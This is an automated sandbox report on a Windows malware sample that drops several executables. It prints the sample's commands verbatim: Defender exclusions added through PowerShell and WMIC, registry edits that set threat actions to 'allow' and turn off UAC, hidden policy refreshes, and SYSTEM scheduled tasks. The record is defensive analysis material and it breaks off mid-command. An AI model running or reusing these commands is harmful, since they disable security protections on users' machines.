lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe 3440 lyBBqBr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exepowershell.exeCasPol.exezuvvjm3jrlNIFlguyvxZd8G1.exepowershell.exepowershell.exeWMIC.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exeWMIC.exedescription pid process Token: SeDebugPrivilege 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe Token: SeDebugPrivilege 488 powershell.exe Token: SeDebugPrivilege 4280 CasPol.exe Token: SeManageVolumePrivilege 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe Token: SeDebugPrivilege 1496 powershell.exe Token: SeDebugPrivilege 1716 powershell.exe Token: SeIncreaseQuotaPrivilege 2604 WMIC.exe Token: SeSecurityPrivilege 2604 WMIC.exe Token: SeTakeOwnershipPrivilege 2604 WMIC.exe Token: SeLoadDriverPrivilege 2604 WMIC.exe Token: SeSystemProfilePrivilege 2604 WMIC.exe Token: SeSystemtimePrivilege 2604 WMIC.exe Token: SeProfSingleProcessPrivilege 2604 WMIC.exe Token: SeIncBasePriorityPrivilege 2604 WMIC.exe Token: SeCreatePagefilePrivilege 2604 WMIC.exe Token: SeBackupPrivilege 2604 WMIC.exe Token: SeRestorePrivilege 2604 WMIC.exe Token: SeShutdownPrivilege 2604 WMIC.exe Token: SeDebugPrivilege 2604 WMIC.exe Token: SeSystemEnvironmentPrivilege 2604 WMIC.exe Token: SeRemoteShutdownPrivilege 2604 WMIC.exe Token: SeUndockPrivilege 2604 WMIC.exe Token: SeManageVolumePrivilege 2604 WMIC.exe Token: 33 2604 WMIC.exe Token: 34 2604 WMIC.exe Token: 35 2604 WMIC.exe Token: 36 2604 WMIC.exe Token: SeIncreaseQuotaPrivilege 2604 WMIC.exe Token: SeSecurityPrivilege 2604 WMIC.exe Token: SeTakeOwnershipPrivilege 2604 WMIC.exe Token: SeLoadDriverPrivilege 2604 WMIC.exe Token: SeSystemProfilePrivilege 2604 WMIC.exe Token: SeSystemtimePrivilege 2604 WMIC.exe Token: SeProfSingleProcessPrivilege 2604 WMIC.exe Token: SeIncBasePriorityPrivilege 2604 WMIC.exe Token: SeCreatePagefilePrivilege 2604 WMIC.exe Token: SeBackupPrivilege 2604 WMIC.exe Token: SeRestorePrivilege 2604 WMIC.exe Token: SeShutdownPrivilege 2604 WMIC.exe Token: SeDebugPrivilege 2604 WMIC.exe Token: SeSystemEnvironmentPrivilege 2604 WMIC.exe Token: SeRemoteShutdownPrivilege 2604 WMIC.exe Token: SeUndockPrivilege 2604 WMIC.exe Token: SeManageVolumePrivilege 2604 WMIC.exe Token: 33 2604 WMIC.exe Token: 34 2604 WMIC.exe Token: 35 2604 WMIC.exe Token: 36 2604 WMIC.exe Token: SeDebugPrivilege 4060 powershell.exe Token: SeDebugPrivilege 1192 powershell.exe Token: SeDebugPrivilege 3348 powershell.exe Token: SeDebugPrivilege 2128 powershell.EXE Token: SeDebugPrivilege 3924 powershell.exe Token: SeDebugPrivilege 4268 powershell.exe Token: SeAssignPrimaryTokenPrivilege 3192 WMIC.exe Token: SeIncreaseQuotaPrivilege 3192 WMIC.exe Token: SeSecurityPrivilege 3192 WMIC.exe Token: SeTakeOwnershipPrivilege 3192 WMIC.exe Token: SeLoadDriverPrivilege 3192 WMIC.exe Token: SeSystemtimePrivilege 3192 WMIC.exe Token: SeBackupPrivilege 3192 WMIC.exe Token: SeRestorePrivilege 3192 WMIC.exe Token: SeShutdownPrivilege 3192 WMIC.exe Token: SeSystemEnvironmentPrivilege 3192 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
zuvvjm3jrlNIFlguyvxZd8G1.exepid process 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe -
Suspicious use of SendNotifyMessage 1 IoCs
Processes:
zuvvjm3jrlNIFlguyvxZd8G1.exepid process 4504 zuvvjm3jrlNIFlguyvxZd8G1.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
360TS_Setup.exepid process 2172 360TS_Setup.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exeCasPol.exeW7trYT2qs0n8WChr52NiXmho.exeqEerPdALJXoJXqugFYyfOhUr.exeInstall.execmd.exeforfiles.execmd.exeforfiles.execmd.exeforfiles.execmd.exedescription pid process target process PID 5044 wrote to memory of 488 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe powershell.exe PID 5044 wrote to memory of 488 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe powershell.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 4280 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 1488 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 1488 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 5044 wrote to memory of 1488 5044 fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe CasPol.exe PID 4280 wrote to memory of 1472 4280 CasPol.exe W7trYT2qs0n8WChr52NiXmho.exe PID 4280 wrote to memory of 1472 4280 CasPol.exe W7trYT2qs0n8WChr52NiXmho.exe PID 4280 wrote to memory of 1472 4280 CasPol.exe W7trYT2qs0n8WChr52NiXmho.exe PID 4280 wrote to memory of 3336 4280 CasPol.exe yNEUXnGkfpke7kx4lMguSE8Y.exe PID 4280 wrote to memory of 3336 4280 CasPol.exe yNEUXnGkfpke7kx4lMguSE8Y.exe PID 4280 wrote to memory of 3336 4280 CasPol.exe yNEUXnGkfpke7kx4lMguSE8Y.exe PID 1472 wrote to memory of 4800 1472 W7trYT2qs0n8WChr52NiXmho.exe W7trYT2qs0n8WChr52NiXmho.exe PID 1472 wrote to memory of 4800 1472 W7trYT2qs0n8WChr52NiXmho.exe W7trYT2qs0n8WChr52NiXmho.exe PID 1472 wrote to memory of 4800 1472 W7trYT2qs0n8WChr52NiXmho.exe W7trYT2qs0n8WChr52NiXmho.exe PID 4280 wrote to memory of 4504 4280 CasPol.exe zuvvjm3jrlNIFlguyvxZd8G1.exe PID 4280 wrote to memory of 4504 4280 CasPol.exe zuvvjm3jrlNIFlguyvxZd8G1.exe PID 4280 wrote to memory of 4504 4280 CasPol.exe zuvvjm3jrlNIFlguyvxZd8G1.exe PID 4280 wrote to memory of 3252 4280 CasPol.exe kKnSTB7r4pBcN7GvUNqasQNX.exe PID 4280 wrote to memory of 3252 4280 CasPol.exe kKnSTB7r4pBcN7GvUNqasQNX.exe PID 4280 wrote to memory of 3900 4280 CasPol.exe qEerPdALJXoJXqugFYyfOhUr.exe PID 4280 wrote to memory of 3900 4280 CasPol.exe qEerPdALJXoJXqugFYyfOhUr.exe PID 4280 wrote to memory of 3900 4280 CasPol.exe qEerPdALJXoJXqugFYyfOhUr.exe PID 3900 wrote to memory of 4964 3900 qEerPdALJXoJXqugFYyfOhUr.exe Install.exe PID 3900 wrote to memory of 4964 3900 qEerPdALJXoJXqugFYyfOhUr.exe Install.exe PID 3900 wrote to memory of 4964 3900 qEerPdALJXoJXqugFYyfOhUr.exe Install.exe PID 4964 wrote to memory of 1536 4964 Install.exe cmd.exe PID 4964 wrote to memory of 1536 4964 Install.exe cmd.exe PID 4964 wrote to memory of 1536 4964 Install.exe cmd.exe PID 1536 wrote to memory of 3200 1536 cmd.exe forfiles.exe PID 1536 wrote to memory of 3200 1536 cmd.exe forfiles.exe PID 1536 wrote to memory of 3200 1536 cmd.exe forfiles.exe PID 3200 wrote to memory of 1836 3200 forfiles.exe cmd.exe PID 3200 wrote to memory of 1836 3200 forfiles.exe cmd.exe PID 3200 wrote to memory of 1836 3200 forfiles.exe cmd.exe PID 1836 wrote to memory of 4716 1836 cmd.exe reg.exe PID 1836 wrote to memory of 4716 1836 cmd.exe reg.exe PID 1836 wrote to memory of 4716 1836 cmd.exe reg.exe PID 1536 wrote to memory of 4764 1536 cmd.exe forfiles.exe PID 1536 wrote to memory of 4764 1536 cmd.exe forfiles.exe PID 1536 wrote to memory of 4764 1536 cmd.exe forfiles.exe PID 4764 wrote to memory of 4116 4764 forfiles.exe cmd.exe PID 4764 wrote to memory of 4116 4764 forfiles.exe cmd.exe PID 4764 wrote to memory of 4116 4764 forfiles.exe cmd.exe PID 4116 wrote to memory of 3100 4116 cmd.exe reg.exe PID 4116 wrote to memory of 3100 4116 cmd.exe reg.exe PID 4116 wrote to memory of 3100 4116 cmd.exe reg.exe PID 1536 wrote to memory of 4080 1536 cmd.exe forfiles.exe PID 1536 wrote to memory of 4080 1536 cmd.exe forfiles.exe PID 1536 wrote to memory of 4080 1536 cmd.exe forfiles.exe PID 4080 wrote to memory of 544 4080 forfiles.exe cmd.exe PID 4080 wrote to memory of 544 4080 forfiles.exe cmd.exe PID 4080 wrote to memory of 544 4080 forfiles.exe cmd.exe PID 544 wrote to memory of 5044 544 cmd.exe reg.exe PID 544 wrote to memory of 5044 544 cmd.exe reg.exe PID 544 wrote to memory of 5044 544 cmd.exe reg.exe PID 1536 wrote to memory of 436 1536 cmd.exe forfiles.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe"C:\Users\Admin\AppData\Local\Temp\fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe"1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\fd42e618223f510d694c5fb2f8ecbc1a88cabf003bcf20da6227da30a1352a0f.exe" -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:488 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4280 -
C:\Users\Admin\Pictures\W7trYT2qs0n8WChr52NiXmho.exe"C:\Users\Admin\Pictures\W7trYT2qs0n8WChr52NiXmho.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\Temp\{95AA0323-431C-46BF-946E-476D276DE1CA}\.cr\W7trYT2qs0n8WChr52NiXmho.exe"C:\Windows\Temp\{95AA0323-431C-46BF-946E-476D276DE1CA}\.cr\W7trYT2qs0n8WChr52NiXmho.exe" -burn.clean.room="C:\Users\Admin\Pictures\W7trYT2qs0n8WChr52NiXmho.exe" -burn.filehandle.attached=572 -burn.filehandle.self=4804⤵
- Executes dropped EXE
PID:4800 -
C:\Users\Admin\Pictures\yNEUXnGkfpke7kx4lMguSE8Y.exe"C:\Users\Admin\Pictures\yNEUXnGkfpke7kx4lMguSE8Y.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:3336 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 3844⤵
- Program crash
PID:1072 -
C:\Users\Admin\Pictures\zuvvjm3jrlNIFlguyvxZd8G1.exe"C:\Users\Admin\Pictures\zuvvjm3jrlNIFlguyvxZd8G1.exe" /s3⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4504 -
C:\Users\Admin\Pictures\360TS_Setup.exe"C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:2172 -
C:\Users\Admin\Pictures\kKnSTB7r4pBcN7GvUNqasQNX.exe"C:\Users\Admin\Pictures\kKnSTB7r4pBcN7GvUNqasQNX.exe"3⤵
- Modifies firewall policy service
- Windows security bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3252 -
C:\Users\Admin\Pictures\qEerPdALJXoJXqugFYyfOhUr.exe"C:\Users\Admin\Pictures\qEerPdALJXoJXqugFYyfOhUr.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Users\Admin\AppData\Local\Temp\7zSD060.tmp\Install.exe.\Install.exe /odidum "385118" /S4⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"5⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"6⤵
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 67⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 68⤵PID:4716
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"6⤵
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 67⤵
- Suspicious use of WriteProcessMemory
PID:4116 -
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 68⤵PID:3100
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"6⤵
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 67⤵
- Suspicious use of WriteProcessMemory
PID:544 -
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 68⤵PID:5044
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"6⤵PID:436
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 67⤵PID:4936
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 68⤵PID:2428
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"6⤵PID:388
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force7⤵PID:488
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1496 -
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force9⤵PID:4800
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"5⤵PID:224
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵PID:4888
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious use of AdjustPrivilegeToken
PID:2604 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 13:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSD060.tmp\Install.exe\" it /qGOdidLmPE 385118 /S" /V1 /F5⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3212 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"5⤵PID:4584
-
C:\Windows\SysWOW64\cmd.exe/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ6⤵PID:2484
-
\??\c:\windows\SysWOW64\schtasks.exeschtasks /run /I /tn bbmnnUCIPYyTQrzMQJ7⤵PID:3440
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵PID:1488
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3336 -ip 33361⤵PID:4120
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:2968
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4632
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:2596
-
C:\Users\Admin\AppData\Local\Temp\7zSD060.tmp\Install.exeC:\Users\Admin\AppData\Local\Temp\7zSD060.tmp\Install.exe it /qGOdidLmPE 385118 /S1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2644 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵PID:2856
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵PID:3196
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵PID:4248
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵PID:1956
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵PID:4804
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵PID:1832
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵PID:1512
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵PID:5000
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵PID:4836
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵PID:4952
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵PID:420
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵PID:1752
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵PID:1336
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵PID:3032
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵PID:1980
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4060 -
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵PID:1732
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD 